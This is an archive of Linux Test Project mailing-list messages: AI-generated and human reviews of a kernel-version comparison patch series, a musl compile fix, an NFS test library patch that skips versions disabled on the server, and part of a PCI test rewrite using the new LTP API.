> + * @a1: First kernel major version.
> + * @a2: First kernel minor version.
> + * @a3: First kernel patch level.
> + * @b1: Second kernel major version.
> + * @b2: Second kernel minor  version.
> + * @b3: Second kernel patch level.
> + */

Could this public API document its return value with the required kernel-doc
Return: section? It should describe the negative, zero, and positive cases.

--- [PATCH 9/9] ---

> +metaparse: HOST_CFLAGS		+= -I$(abs_srcdir)/../include -L$(abs_builddir)/../lib
> +metaparse: HOST_LDLIBS		+= -lltp

How does this work for cross builds? metaparse is linked with HOSTCC, while
lib/libltp.a is built with the target CC. HOSTCC cannot link
target-architecture objects, so metadata generation fails with an
incompatible object format. Could the needed parsing and comparison code be
built with HOSTCC and kept free of target-library dependencies instead?

> +	if (min_kver && max_kver) {
> +		if (tst_kver_cmp(a1, a2, a3, b1, b2, b3) < 0) {
> +			fprintf(stderr, "%s: min_kver (%s) > max_kver (%s)\n",

Could this comparison apply the documented two-component max_kver semantics?
For example, min_kver "7.1.5" and max_kver "7.1" is a valid nonempty range
because max_kver "7.1" includes every 7.1.x stable release. This literal
comparison treats the maximum as 7.1.0 and rejects that range.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Wed Aug  5 19:34:57 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 17:34:57 +0000
Subject: [LTP] tst_kvercmp: Factor out error handling
In-Reply-To: <20260805151451.648990-2-pvorel@suse.cz>
References: <20260805151451.648990-2-pvorel@suse.cz>
Message-ID: <20260805173457.4172-1-linuxtestproject.agent@gmail.com>

Hi Petr,

On Wed, 5 Aug 2026, Petr Vorel wrote:
> tst_kvercmp: Factor out error handling

--- [PATCH 1/9] ---

> +static int _tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)

Could this helper use an unreserved name such as parse_kver()?
Identifiers beginning with an underscore are reserved at file scope and are
explicitly disallowed by the LTP C coding rules.

--- [PATCH 4/9] ---

> +	if (TST_RET != -1) {
> +		tst_res(TFAIL, "creat() succeeded unexpectedly");
> +		return;
> +	}

Could this path kill and reap pid before returning? This patch exposes the
path on affected 6.11 and 6.12 kernels, but the child remains executing
creat07_child. run_tests() then blocks in tst_reap_children() instead of
finishing with the reported TFAIL, and the test eventually times out.

--- [PATCH 5/9] ---

>  static struct tst_test test = {
>  	.setup = do_setup,
> +	.max_kver = "7.1",
>  	.test = do_test,

Could only the FAN_REPORT_PIDFD | FAN_REPORT_TID case be adjusted or omitted
on 7.2 and newer? The second case remains valid, and no other fanotify C test
initializes a group with FAN_REPORT_PIDFD | FAN_REPORT_FID |
FAN_REPORT_DFID_NAME. Since 7.2 is already stable, gating the whole test
immediately removes that coverage on current kernels.

--- [PATCH 6/9] ---

> +static struct tst_test test = {
> +	.min_kver = "4.4",
> +	.max_kver = "5.0",
> +	.test_all = do_test,
> +};

Could the bounds include kernels used by current CI? On stable 7.2, and every
kernel newer than 5.0.x, the library exits with TCONF before do_test() runs.
The test therefore does not perform the CI check described by the commit
message.

--- [PATCH 9/9] ---

> +	if (min_kver && max_kver) {
> +		if (tst_kver_cmp(a1, a2, a3, b1, b2, b3) < 0) {

Could this validation use the same two-component maximum semantics as
check_max_kver()? For example, min_kver "7.1.5" and max_kver "7.1" form a
valid interval because max_kver "7.1" permits every 7.1.x kernel, but this
comparison rejects it as min_kver greater than max_kver.

> +include $(top_srcdir)/include/mk/testcases.mk
> +metaparse: HOST_LDLIBS		+= -lltp

Could the required helpers instead be compiled with HOSTCC? testcases.mk
builds libltp.a with the target CC, while metaparse is linked with HOSTCC.
During cross compilation, the target objects cannot be linked into the host
executable, so metadata generation fails with an incompatible object format.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Wed Aug  5 19:35:40 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 17:35:40 +0000
Subject: [LTP] tst_kvercmp: Factor out error handling
In-Reply-To: <20260805151451.648990-2-pvorel@suse.cz>
References: <20260805151451.648990-2-pvorel@suse.cz>
Message-ID: <20260805173540.9276-1-linuxtestproject.agent@gmail.com>

Hi Petr,

On Aug 5, 2026, Petr Vorel wrote:
> tst_kvercmp: Factor out error handling

--- [PATCH 1/9] ---

> static int _tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)

Could this be renamed to parse_kver? File-scope identifiers beginning with an
underscore are reserved by C, and LTP's coding rules prohibit such names.

--- [PATCH 2/9] ---

> This is a preparation for struct tst_test max_kver member in the next
> commit.

Could the motivation be stated without referring to the next patch? Each
commit message should stand on its own rather than depend on series position.

--- [PATCH 4/9] ---

> 	if (TST_RET != -1) {
> 		tst_res(TFAIL, "creat() succeeded unexpectedly");
> 		return;
> 	}

Could this path kill and reap pid before returning? Removing the version gate
makes it reachable on affected 6.11 and 6.12 kernels, but the child remains
paused indefinitely. The framework then blocks in tst_reap_children() until
the watchdog terminates the test instead of returning the intended TFAIL.

> 	TEST(execve(TEST_APP, argv, environ));

How is the writer child released when execve() succeeds on an affected
kernel? The test process is replaced by execve_child, which reports TFAIL and
exits, while the writer remains blocked in TST_CHECKPOINT_WAKE_AND_WAIT(0) and
becomes an orphan.

--- [PATCH 5/9] ---

> 	.max_kver = "7.1",

Could the test keep running and only adjust the expected result of
FAN_REPORT_PIDFD | FAN_REPORT_TID on kernels supporting thread pidfds? This
test-wide limit also removes the
FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME case on 7.2 and all
newer kernels, and that exact combination is not tested elsewhere in LTP.

--- [PATCH 6/9] ---

> 	.min_kver = "4.4",
> 	.max_kver = "5.0",

How can this exercise do_test() on current CI kernels? The current kernel must
lie between the bounds; min_kver being less than max_kver is not sufficient.
With this maximum, including on stable 7.2, the self-test only reports TCONF
and never tests the new success path.

--- [PATCH 7/9] ---

> int tst_kver_cmp(int a1, int a2, int a3, int b1, int b2, int b3);

Could the new public function's kernel-doc include a Return: section
describing the comparison result?

> This will be heavily used in metaparse.c (speedup of metadata
> generation) in the next commit.

Could this motivation be stated without referring to the next patch? Each
commit message should stand on its own.

--- [PATCH 8/9] ---

> Will be used for metadata.c in the next commit.

Could the commit message instead explain why host targets need access to
MAKE_DEPS without depending on a later patch?

--- [PATCH 9/9] ---

> metaparse: HOST_LDLIBS		+= -lltp

How can this work for a cross-compilation? metaparse is built with HOSTCC, but
-lltp resolves to lib/libltp.a built with the target CC, so the host linker
cannot consume the archive. Could the version helper be compiled with HOSTCC,
or moved into an architecture-independent host library?

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pvorel@suse.cz  Thu Aug  6 07:37:51 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Thu, 6 Aug 2026 07:37:51 +0200
Subject: [LTP] [PATCH v4 9/9] [RFC] metaparse: Check {min,
 max}_kver validity
In-Reply-To: <20260805151451.648990-10-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
 <20260805151451.648990-10-pvorel@suse.cz>
Message-ID: <20260806053751.GA657385@pevik>

Hi all,

I'm sorry, this last commit breaks out-of-tree build.

...
> +++ b/metadata/Makefile
> @@ -3,13 +3,15 @@

>  top_srcdir		?= ..

> -include $(top_srcdir)/include/mk/env_pre.mk
> -include $(top_srcdir)/include/mk/functions.mk
> +include $(top_srcdir)/include/mk/testcases.mk

>  MAKE_TARGETS		:= ltp.json
>  HOST_MAKE_TARGETS	:= metaparse metaparse-sh
>  INSTALL_DIR		= metadata

> +metaparse: HOST_CFLAGS		+= -I$(abs_srcdir)/../include -L$(abs_builddir)/../lib
Either this is wrong, or the change in previous commit was not enough.
Investigating.

Kind regards,
Petr

> +metaparse: HOST_LDLIBS		+= -lltp

From andrea.cervesato@suse.com  Thu Aug  6 08:35:22 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Thu, 06 Aug 2026 06:35:22 +0000
Subject: [LTP] Revert "tpci: unbind driver in test_assign_resources()"
In-Reply-To: <amsRGxrUfMnjDlFT@yuki.lan>
Message-ID: <6a742b2a.a148a86f.390a0c.1a18@mx.google.com>

Hi,

> And honestly the PCI test should be either rewritten and cleaned up to
> do something more sensible or just removed. As it is it's too fragile.

sent a new rewrite in here:
https://patchwork.kernel.org/project/ltp/list/?series=1140684

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Thu Aug  6 09:02:22 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Thu, 06 Aug 2026 07:02:22 +0000
Subject: [LTP] [PATCH v4 1/9] tst_kvercmp: Factor out error handling
In-Reply-To: <20260805151451.648990-2-pvorel@suse.cz>
Message-ID: <6a74317f.5b42f266.2b3442.f731@mx.google.com>

Hi Petr,

We got 4 reviews..it seems like there's a problem with the CI
and the new instance is not setting the state correctly, which
is used by the script to recognize if patch was already reviewed
or not. I will fix it.

Anyway, we can say you had enough material to fix the series :-)

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From chrubis@suse.cz  Thu Aug  6 09:06:25 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu,  6 Aug 2026 09:06:25 +0200
Subject: [LTP] [PATCH] hugemmap36: Fix compilation on alpine
Message-ID: <20260806070625.19475-1-chrubis@suse.cz>

Use int64_t instead of off64_t that is not defined on musl libc.

Fixes: ae1b3655ed5da (hugemmap36: Migrate the libhugetlbfs/testcases/truncate_above_4GB.c tess)
Signed-off-by: Cyril Hrubis <chrubis@suse.cz>
---
 testcases/kernel/mem/hugetlb/hugemmap/hugemmap36.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap36.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap36.c
index b48a34f59..5f0d70a05 100644
--- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap36.c
+++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap36.c
@@ -21,7 +21,7 @@
  */
 
 #define _GNU_SOURCE
-#define FOURGIG ((off64_t)0x100000000ULL)
+#define FOURGIG ((int64_t)0x100000000ULL)
 #define MNTPOINT "hugetlbfs/"
 
 #include <signal.h>
-- 
2.54.0


From chrubis@suse.cz  Thu Aug  6 09:23:27 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Thu, 6 Aug 2026 09:23:27 +0200
Subject: [LTP] [PATCH v4 9/9] [RFC] metaparse: Check {min,
 max}_kver validity
In-Reply-To: <20260805151451.648990-10-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
 <20260805151451.648990-10-pvorel@suse.cz>
Message-ID: <anQ2b1STktuhnLrP@rei>

Hi!
> diff --git a/metadata/Makefile b/metadata/Makefile
> index af194bcc94..9ee2441669 100644
> --- a/metadata/Makefile
> +++ b/metadata/Makefile
> @@ -3,13 +3,15 @@
>  
>  top_srcdir		?= ..
>  
> -include $(top_srcdir)/include/mk/env_pre.mk
> -include $(top_srcdir)/include/mk/functions.mk
> +include $(top_srcdir)/include/mk/testcases.mk
>  
>  MAKE_TARGETS		:= ltp.json
>  HOST_MAKE_TARGETS	:= metaparse metaparse-sh
>  INSTALL_DIR		= metadata
>  
> +metaparse: HOST_CFLAGS		+= -I$(abs_srcdir)/../include -L$(abs_builddir)/../lib
> +metaparse: HOST_LDLIBS		+= -lltp
> +
>  .PHONY: ltp.json
>  
>  ltp.json: metaparse metaparse-sh
> diff --git a/metadata/metaparse.c b/metadata/metaparse.c
> index cb141c3831..07a452a5a1 100644
> --- a/metadata/metaparse.c
> +++ b/metadata/metaparse.c
> @@ -6,6 +6,7 @@
>  
>  #define _GNU_SOURCE
>  
> +#include <assert.h>
>  #include <search.h>
>  #include <stdio.h>
>  #include <string.h>
> @@ -15,6 +16,7 @@
>  #include <errno.h>
>  
>  #include "data_storage.h"
> +#include "tst_kvercmp.h"
>  
>  #define INCLUDE_PATH_MAX 5
>  #define GROUPS_TAG "@groups"
> @@ -1372,6 +1374,37 @@ int main(int argc, char *argv[])
>  		}
>  	}
>  
> +	/* Check max_kver >= min_kver */
> +	struct data_node *max_kver = data_node_hash_get(res, "max_kver");
> +	struct data_node *min_kver = data_node_hash_get(res, "min_kver");
> +	int a1, a2, a3, b1, b2, b3;
> +
> +	if (min_kver) {
> +		assert(min_kver->type == DATA_STRING);
> +		if (tst_parse_kver(min_kver->string.val, &b1, &b2, &b3)) {
> +			fprintf(stderr, "%s: wrong min_kver: '%s'\n",
> +				argv[optind], min_kver->string.val);
> +			return 1;
> +		}
> +	}
> +
> +	if (max_kver) {
> +		assert(max_kver->type == DATA_STRING);
> +		if (tst_parse_kver(max_kver->string.val, &a1, &a2, &a3)) {
> +			fprintf(stderr, "%s: wrong max_kver: '%s'\n",
> +					argv[optind], max_kver->string.val);
> +			return 1;
> +		}
> +	}
> +
> +	if (min_kver && max_kver) {
> +		if (tst_kver_cmp(a1, a2, a3, b1, b2, b3) < 0) {
> +			fprintf(stderr, "%s: min_kver (%s) > max_kver (%s)\n",
> +					argv[optind], min_kver->string.val, max_kver->string.val);
> +			return 1;
> +		}
> +	}
> +

Andrea is working on metadata linter, that does much more than this,
e.g. checks that CVE record is valid.

This looks like a check that could be added more easily there.


-- 
Cyril Hrubis
chrubis@suse.cz

From linuxtestproject.agent@gmail.com  Thu Aug  6 09:41:49 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Thu,  6 Aug 2026 07:41:49 +0000
Subject: [LTP] hugemmap36: Fix compilation on alpine
In-Reply-To: <20260806070625.19475-1-chrubis@suse.cz>
References: <20260806070625.19475-1-chrubis@suse.cz>
Message-ID: <20260806074149.8930-1-linuxtestproject.agent@gmail.com>

Hi Cyril,

On 6 Aug 2026, Cyril Hrubis wrote:
> hugemmap36: Fix compilation on alpine

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From avinesh.kumar@suse.com  Thu Aug  6 09:47:12 2026
From: avinesh.kumar@suse.com (Avinesh Kumar)
Date: Thu,  6 Aug 2026 09:47:12 +0200
Subject: [LTP] [PATCH] nfs_lib: Skip NFS versions disabled on server
Message-ID: <20260806074713.158271-1-avinesh.kumar@suse.com>

From: Avinesh Kumar <avinesh.kumar@suse.com>

nfs06.sh mount several NFS versions in a single run
(e.g. "3,4.0,4.1,4.2"). If the server has disabled one of
the requested versions (reported via /proc/fs/nfsd/versions),
the whole test currently aborts with TBROK on the failed mount
instead of continuing with the versions that are supported.

nfs06 1 TINFO: setup NFSv4.0, socket type tcp
nfs06 1 TINFO: Mounting /var/tmp/LTP_nfs06.GHDqCwPYES/4.0/1
nfs06 1 TINFO: Mounting NFS: mount -v -t nfs -o proto=tcp,vers=4.0 10.0.0.2:/var/tmp/LTP_nfs06.GHDqCwPYES/mntpoint/4.0/tcp /var/tmp/LTP_nfs06.GHDqCwPYES/4.0/1
mount.nfs: mount(2): Invalid argument
mount.nfs: an incorrect mount option was specified for /var/tmp/LTP_nfs06.GHDqCwPYES/4.0/1
mount.nfs: timeout set for Wed Aug  5 08:06:38 2026
mount.nfs: trying text-based options 'proto=tcp,vers=4.0,addr=10.0.0.2,clientaddr=10.0.0.1'
nfs06 1 TBROK: mount command failed

Add nfs_server_vers_enabled() to check /proc/fs/nfsd/versions on the
server, and nfs_filter_versions() to drop disabled versions from
$VERSION (keeping $SOCKET_TYPE aligned by position) before mounting.
If none of the requested versions are enabled, TCONF as before.

Signed-off-by: Avinesh Kumar <avinesh.kumar@suse.com>
---
 testcases/network/nfs/nfs_stress/nfs_lib.sh | 56 ++++++++++++++++++++-
 1 file changed, 54 insertions(+), 2 deletions(-)

diff --git a/testcases/network/nfs/nfs_stress/nfs_lib.sh b/testcases/network/nfs/nfs_stress/nfs_lib.sh
index 8bff3f23ae12..4065b000467e 100644
--- a/testcases/network/nfs/nfs_stress/nfs_lib.sh
+++ b/testcases/network/nfs/nfs_stress/nfs_lib.sh
@@ -55,19 +55,24 @@ TST_NEEDS_DRIVERS="nfsd"
 # debugging whether test failures are related to veth/netns).
 LTP_NFS_NETNS_USE_LO=${LTP_NFS_NETNS_USE_LO:-}
 
-get_socket_type()
+get_socket_type_raw()
 {
 	local t
 	local k=0
 	for t in $SOCKET_TYPE; do
 		if [ "$k" -eq "$1" ]; then
-			echo "${t}${TST_IPV6}"
+			echo "$t"
 			return
 		fi
 		k=$(( k + 1 ))
 	done
 }
 
+get_socket_type()
+{
+	echo "$(get_socket_type_raw "$1")${TST_IPV6}"
+}
+
 # directory mounted by NFS client
 get_local_dir()
 {
@@ -109,6 +114,51 @@ nfs_server_udp_enabled()
 	tst_rhost_run -c "grep -q \"^[# ]*udp *= *y\" /etc/nfs.conf $config"
 }
 
+# nfs_server_vers_enabled VERS
+# Only returns false (1) when the server explicitly lists "-VERS" in
+# /proc/fs/nfsd/versions. If that file is unavailable or doesn't mention
+# VERS at all, defaults to true so the mount is still attempted.
+nfs_server_vers_enabled()
+{
+	local vers="$1"
+	local versions=" $(tst_rhost_run -c 'cat /proc/fs/nfsd/versions 2>/dev/null') "
+
+	case "$versions" in
+	*" -$vers "*) return 1;;
+	esac
+
+	return 0
+}
+
+# Drops NFS versions the server explicitly disabled from $VERSION, keeping
+# $SOCKET_TYPE entries aligned by position with what remains.
+nfs_filter_versions()
+{
+	local v type
+	local n=0
+	local new_version=
+	local new_socket_type=
+
+	for v in $VERSION; do
+		type=$(get_socket_type_raw $n)
+
+		if nfs_server_vers_enabled "$v"; then
+			new_version="$new_version $v"
+			new_socket_type="$new_socket_type $type"
+		else
+			tst_res TINFO "NFSv$v disabled on server, skipping"
+		fi
+
+		n=$(( n + 1 ))
+	done
+
+	[ -z "$new_version" ] && \
+		tst_brk TCONF "none of the requested NFS versions ($VERSION) are enabled on server"
+
+	VERSION="${new_version# }"
+	SOCKET_TYPE="${new_socket_type# }"
+}
+
 nfs_setup_server()
 {
 	local remote_dir="$1"
@@ -198,6 +248,8 @@ nfs_setup()
 
 	tst_res TINFO "$(mount.nfs -V)"
 
+	nfs_filter_versions
+
 	for i in $VERSION; do
 		type=$(get_socket_type $n)
 		tst_res TINFO "setup NFSv$i, socket type $type"
-- 
2.55.0


From andrea.cervesato@suse.com  Thu Aug  6 10:01:40 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Thu, 06 Aug 2026 08:01:40 +0000
Subject: [LTP] [PATCH] hugemmap36: Fix compilation on alpine
In-Reply-To: <20260806070625.19475-1-chrubis@suse.cz>
Message-ID: <6a743f65.a02854e2.1dc6f5.e4b5@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.de  Thu Aug  6 10:10:35 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Thu, 06 Aug 2026 10:10:35 +0200
Subject: [LTP] [PATCH v2 0/2] tcpi refactoring
Message-ID: <20260806-tpci_refactoring-v2-0-bdc3a749ca02@suse.com>

Rewrite the tcpi test so we use the new LTP API.

- rewrite kernel module
- rewrite LTP test
- merge kernel module and LTP test in the same folder

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- fix commit tag
- check that device exists
- skip PCI_DISABLE because it's an unreliable test
- Link to v1: https://lore.kernel.org/20260805-tpci_refactoring-v1-0-4ca8d84f8a95@suse.com

---
Andrea Cervesato (2):
      tpci: refactor kernel module
      tpci: refactor test using new API

 .../pci/{tpci_kernel => tpci}/.gitignore           |   3 +-
 testcases/kernel/device-drivers/pci/tpci/Makefile  |  22 ++
 .../pci/{tpci_kernel => tpci}/ltp_tpci.c           | 230 +++++++++++----------
 testcases/kernel/device-drivers/pci/tpci/tpci.c    | 166 +++++++++++++++
 testcases/kernel/device-drivers/pci/tpci/tpci.h    |  36 ++++
 .../kernel/device-drivers/pci/tpci_kernel/Makefile |  35 ----
 .../pci/tpci_kernel/pci-exp-tests-HOWTO            |  58 ------
 .../kernel/device-drivers/pci/tpci_kernel/tpci.h   |  43 ----
 .../kernel/device-drivers/pci/tpci_user/.gitignore |   1 -
 .../kernel/device-drivers/pci/tpci_user/Makefile   |  20 --
 .../kernel/device-drivers/pci/tpci_user/tpci.c     | 115 -----------
 11 files changed, 342 insertions(+), 387 deletions(-)
---
base-commit: 12fcadf63a99fc4bec76f9b4715cda626256562f
change-id: 20260804-tpci_refactoring-64b59221ae5c

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Thu Aug  6 10:10:37 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Thu, 06 Aug 2026 10:10:37 +0200
Subject: [LTP] [PATCH v2 2/2] tpci: refactor test using new API
In-Reply-To: <20260806-tpci_refactoring-v2-0-bdc3a749ca02@suse.com>
References: <20260806-tpci_refactoring-v2-0-bdc3a749ca02@suse.com>
Message-ID: <20260806-tpci_refactoring-v2-2-bdc3a749ca02@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Merge kernel module with the current test inside the same folder and
refactor tpci test using new API.

Now test has a -d option to select device for operating destructive
tests on target.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 .../pci/{tpci_kernel => tpci}/.gitignore           |   3 +-
 testcases/kernel/device-drivers/pci/tpci/Makefile  |  22 +++
 .../pci/{tpci_kernel => tpci}/ltp_tpci.c           |   4 +-
 testcases/kernel/device-drivers/pci/tpci/tpci.c    | 166 +++++++++++++++++++++
 .../pci/{tpci_kernel => tpci}/tpci.h               |   0
 .../kernel/device-drivers/pci/tpci_kernel/Makefile |  35 -----
 .../kernel/device-drivers/pci/tpci_user/.gitignore |   1 -
 .../kernel/device-drivers/pci/tpci_user/Makefile   |  20 ---
 .../kernel/device-drivers/pci/tpci_user/tpci.c     | 115 --------------
 9 files changed, 192 insertions(+), 174 deletions(-)

diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/.gitignore b/testcases/kernel/device-drivers/pci/tpci/.gitignore
similarity index 76%
rename from testcases/kernel/device-drivers/pci/tpci_kernel/.gitignore
rename to testcases/kernel/device-drivers/pci/tpci/.gitignore
index ed4712e3adc194b8921e4daba28f8f5c9a8f94df..ec0d18ab921bf6a33e6495a596c1b19b48bbc66d 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/.gitignore
+++ b/testcases/kernel/device-drivers/pci/tpci/.gitignore
@@ -1,3 +1,4 @@
+/tpci
 /ltp_tpci.ko
 /*.mod.c
 /modules.order
@@ -5,4 +6,4 @@
 /.*.ko
 /.*.cmd
 /Module.symvers
-modules.livepatch
+/modules.livepatch
diff --git a/testcases/kernel/device-drivers/pci/tpci/Makefile b/testcases/kernel/device-drivers/pci/tpci/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..ae80dec86e4731df3d0d994c21bf8cf87ceaf767
--- /dev/null
+++ b/testcases/kernel/device-drivers/pci/tpci/Makefile
@@ -0,0 +1,22 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+
+ifneq ($(KERNELRELEASE),)
+
+obj-m := ltp_tpci.o
+
+else
+
+top_srcdir		?= ../../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+REQ_VERSION_MAJOR	:= 2
+REQ_VERSION_PATCH	:= 6
+
+MAKE_TARGETS		:= tpci ltp_tpci.ko
+
+include $(top_srcdir)/include/mk/module.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+endif
diff --git a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c b/testcases/kernel/device-drivers/pci/tpci/ltp_tpci.c
similarity index 99%
rename from testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
rename to testcases/kernel/device-drivers/pci/tpci/ltp_tpci.c
index 033ac1f0008e358d1afd0240bf1a9855ec32e1fd..1a7a09661d2ad42d4bfec8dc53dce5ec34b30ff6 100644
--- a/testcases/kernel/device-drivers/pci/tpci_kernel/ltp_tpci.c
+++ b/testcases/kernel/device-drivers/pci/tpci/ltp_tpci.c
@@ -12,8 +12,8 @@
  * driven through various sysfs interactions in a user-space program.
  *
  * For the functions of this module to work correctly, there must be a
- * PCI / PCI-Express device somewhere in the system. The tests do not need
- * a specific device; the first PCI device available will be grabbed.
+ * PCI / PCI-Express device somewhere in the system. The user-space test
+ * selects each device through the bus_slot sysfs file.
  *
  * The following test cases can be called from user-space:
  *
diff --git a/testcases/kernel/device-drivers/pci/tpci/tpci.c b/testcases/kernel/device-drivers/pci/tpci/tpci.c
new file mode 100644
index 0000000000000000000000000000000000000000..73f83f5cfc94dd30715de514890228c06cdb0b59
--- /dev/null
+++ b/testcases/kernel/device-drivers/pci/tpci/tpci.c
@@ -0,0 +1,166 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
+ *  Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test various PCI and PCI-Express APIs using the ltp_tpci.ko kernel module.
+ *
+ * [Algorithm]
+ *
+ * - Loads the ltp_tpci.ko kernel module.
+ * - Iterates over all possible PCI buses (0-255) and slots (0-255).
+ * - Attempts to select each device by writing to the module's bus_slot sysfs file.
+ * - For each existing device, executes the available test cases.
+ *   Safe test cases are executed on all devices.
+ *   Destructive test cases are only executed on a target device specified via -d.
+ * - Reads the result from the result sysfs file and reports it using tst_res().
+ */
+
+#include "tst_test.h"
+#include "tst_module.h"
+#include "tpci.h"
+
+#define MODULE_NAME	PCI_DEVICE_NAME ".ko"
+#define DEV_RESULT	"/sys/devices/" PCI_DEVICE_NAME "/result"
+#define DEV_TCASE	"/sys/devices/" PCI_DEVICE_NAME "/tcase"
+#define DEV_BUSSLOT	"/sys/devices/" PCI_DEVICE_NAME "/bus_slot"
+
+static int module_loaded;
+static int devices_found;
+static char *target_device;
+static unsigned int target_bus;
+static unsigned int target_devfn;
+
+static int is_destructive_test(int tc)
+{
+	switch (tc) {
+	case FIND_BUS:
+	case FIND_CLASS:
+	case FIND_DEVICE:
+	case FIND_SUBSYS:
+	case MATCH_DEVICE:
+	case FIND_CAP:
+	case PCI_EXP_CAP_CONFIG:
+		return 0;
+	default:
+		return 1;
+	}
+}
+
+static void run_pci_testcases(const unsigned int bus, const unsigned int slot)
+{
+	int res;
+	int is_target = 0;
+
+	if (target_device && bus == target_bus && slot == target_devfn)
+		is_target = 1;
+
+	for (int i = 0; i < PCI_TCASES_NUM; ++i) {
+		if (i == PCI_DISABLE)
+			continue;
+
+		if (!is_target && is_destructive_test(i))
+			continue;
+
+		SAFE_FILE_PRINTF(DEV_TCASE, "%d", i);
+		SAFE_FILE_SCANF(DEV_RESULT, "%d", &res);
+
+		switch (res) {
+		case 0:
+			tst_res(TPASS, "PCI bus %02x slot %02x : Test-case '%d'",
+				bus, slot, i);
+			break;
+		case 1:
+			tst_res(TFAIL, "PCI bus %02x slot %02x : Test-case '%d'",
+				bus, slot, i);
+			break;
+		case 32:
+			tst_res(TCONF, "PCI bus %02x slot %02x : Test-case '%d'",
+				bus, slot, i);
+			break;
+		default:
+			tst_brk(TBROK, "unexpected result code %d from kernel module",
+				res);
+		}
+	}
+}
+
+static void run(void)
+{
+	char buf[16];
+	int fd, count;
+	int target_found = 0;
+
+	devices_found = 0;
+
+	for (int i = 0; i < MAX_BUS; ++i) {
+		for (int j = 0; j < MAX_DEVFN; ++j) {
+			/* set pci device for the test */
+			fd = SAFE_OPEN(DEV_BUSSLOT, O_WRONLY);
+			count = snprintf(buf, sizeof(buf), "%u", i << 8 | j);
+
+			if (write(fd, buf, count) < 0) {
+				if (errno == ENODEV) {
+					SAFE_CLOSE(fd);
+					continue;
+				}
+				SAFE_CLOSE(fd);
+				tst_brk(TBROK | TERRNO, "write to '%s' failed", DEV_BUSSLOT);
+			}
+			SAFE_CLOSE(fd);
+
+			if (target_device && (unsigned int)i == target_bus && (unsigned int)j == target_devfn)
+				target_found = 1;
+
+			devices_found++;
+			run_pci_testcases(i, j);
+		}
+	}
+
+	if (!devices_found)
+		tst_brk(TCONF, "no PCI device found on the system");
+
+	if (target_device && !target_found)
+		tst_brk(TCONF, "target PCI device %02x:%02x not found", target_bus, target_devfn);
+}
+
+static void cleanup(void)
+{
+	if (module_loaded)
+		tst_module_unload(MODULE_NAME);
+}
+
+static void setup(void)
+{
+	if (target_device) {
+		char tail;
+
+		if (sscanf(target_device, "%x:%x%c", &target_bus, &target_devfn, &tail) != 2 ||
+				target_bus > 0xff || target_devfn > 0xff) {
+			tst_brk(TBROK, "Invalid PCI device '%s', expected bus:devfn",
+				target_device);
+		}
+	}
+
+	tst_requires_module_signature_disabled();
+
+	if (tst_lockdown_enabled() > 0 || tst_secureboot_enabled() > 0)
+		tst_brk(TCONF, "Cannot load unsigned modules in Lockdown/Secure Boot");
+
+	tst_module_load(MODULE_NAME, NULL);
+	module_loaded = 1;
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
